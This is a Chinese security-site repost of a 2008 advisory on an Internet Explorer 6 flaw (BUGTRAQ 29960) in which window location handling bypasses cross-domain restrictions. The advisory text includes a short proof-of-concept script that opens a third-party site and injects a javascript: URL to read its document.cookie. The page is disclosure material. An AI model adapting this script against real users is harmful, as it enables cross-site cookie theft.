您没有来错地!为了更好的发展黑基网已于9月19日正式更名为【安基网】,域名更换为www.safebase.cn,请卸载旧的APP并安装新的APP,给您带来不便,敬请理解!谢谢

黑基Web安全攻防班
安基网 首页 IT技术 安全攻防 查看内容

Microsoft IE location及location.href绕过跨域安全限制漏洞

2009-2-4 11:35| 投稿: security

摘要:  发布日期:2008-06-26更新日期:2008-06-27 受影响系统: Microsoft Internet Explorer 6.0- Microsoft Windows XP ...
 发布日期:2008-06-26更新日期:2008-06-27 受影响系统: Microsoft Internet Explorer 6.0- Microsoft Windows XP SP2 描述:BUGTRAQ ID: 29960 Internet Explorer是微软发布的非常流行的WEB浏览器。 IE没有正确地处理窗口对象的location或location.href属性,如果用户受骗访问了恶意站点的话,就会绕过跨域安全限制,在用户浏览器会话中执行任意指令。 这个跨域安全问题的本质是浏览器在处理window对象的操作有所疏漏,没有考虑清楚不同域有继承关系的window对象操作后的变化,只是对window对象的一些方法的参数做了类似数据类型的限制,导致最后绕过限制跨域执行了脚本。 <*来源:rayh4c (rayh4c@80sec.com) 链接:http://secunia.com/advisories/30857/http://blogs.zdnet.com/security/?p=1348http://www.ph4nt0m.org-a.googlepages.com/PSTZine_0x02_0x04.txthttp://www.kb.cert.org/vuls/id/923508*> 测试方法: 警 告 以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!<a href="">IE6 Cross Domain Scripting</a><script>function win(){x=window.open('http://www.phpwind.net&#39;);setTimeout(function(){x.location=new String("javascript:alert(document.cookie)")},3000)}window.onload=function(){for (i=0;i<document.links.length;i++) {document.links.href="javascript:win()"}}</script> 建议:厂商补丁: Microsoft---------目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: http://www.microsoft.com/windows/ie/default.asp

小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册黑基账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!



免责声明:本文由投稿者转载自互联网,版权归原作者所有,文中所述不代表本站观点,若有侵权或转载等不当之处请联系我们处理,让我们一起为维护良好的互联网秩序而努力!联系方式见网站首页右下角。


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论

最新

返回顶部